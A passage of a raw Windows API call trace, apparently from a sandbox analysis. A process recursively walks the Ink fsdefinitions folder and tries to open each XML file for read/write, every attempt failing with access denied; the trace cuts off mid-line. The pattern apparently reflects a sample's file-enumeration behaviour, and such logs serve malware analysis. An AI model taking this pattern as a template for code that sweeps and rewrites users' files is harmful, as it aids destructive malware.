FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0142.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.491] GetLastError () returned 0x5 [0142.491] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0142.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.491] GetLastError () returned 0x5 [0142.491] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0142.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.492] GetLastError () returned 0x5 [0142.492] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0142.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.492] GetLastError () returned 0x5 [0142.492] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0142.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.494] GetLastError () returned 0x5 [0142.494] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0142.494] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0142.495] GetProcessHeap () returned 0x2a0000 [0142.495] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0142.495] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0142.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.495] GetLastError () returned 0x5 [0142.495] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0142.495] GetProcessHeap () returned 0x2a0000 [0142.495] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa2) returned 0x2c7fc8 [0142.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0142.496] GetProcessHeap () returned 0x2a0000 [0142.496] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fc8 | out: hHeap=0x2a0000) returned 1 [0142.496] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.496] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0142.496] GetProcessHeap () returned 0x2a0000 [0142.496] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a4) returned 0x2f7730 [0142.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.496] GetLastError () returned 0x5 [0142.496] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0142.496] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0142.497] GetProcessHeap () returned 0x2a0000 [0142.497] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0142.497] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0142.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.498] GetLastError () returned 0x5 [0142.498] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0142.498] GetProcessHeap () returned 0x2a0000 [0142.498] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa2) returned 0x2c7fc8 [0142.498] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0142.503] GetProcessHeap () returned 0x2a0000 [0142.503] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fc8 | out: hHeap=0x2a0000) returned 1 [0142.503] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.503] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0142.503] GetProcessHeap () returned 0x2a0000 [0142.503] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a4) returned 0x2f7730 [0142.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.504] GetLastError () returned 0x5 [0142.504] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0142.504] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0142.504] GetProcessHeap () returned 0x2a0000 [0142.504] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0142.504] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0142.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.505] GetLastError () returned 0x5 [0142.505] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0142.505] GetProcessHeap () returned 0x2a0000 [0142.505] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa6) returned 0x2c7fc8 [0142.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0142.505] GetProcessHeap () returned 0x2a0000 [0142.505] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fc8 | out: hHeap=0x2a0000) returned 1 [0142.505] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.505] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0142.505] GetProcessHeap () returned 0x2a0000 [0142.505] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a8) returned 0x2f7730 [0142.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.506] GetLastError () returned 0x5 [0142.506] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0142.506] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0142.506] GetProcessHeap () returned 0x2a0000 [0142.506] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0142.506] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0142.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.507] GetLastError () returned 0x5 [0142.507] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0142.507] GetProcessHeap () returned 0x2a0000 [0142.507] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa2) returned 0x2c7fc8 [0142.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0142.507] GetProcessHeap () returned 0x2a0000 [0142.507] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fc8 | out: hHeap=0x2a0000) returned 1 [0142.507] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.507] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0142.507] GetProcessHeap () returned 0x2a0000 [0142.507] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a4) returned 0x2f7730 [0142.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.509] GetLastError () returned 0x5 [0142.509] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0142.509] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0142.510] GetProcessHeap () returned 0x2a0000 [0142.510] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0142.510] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0142.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft 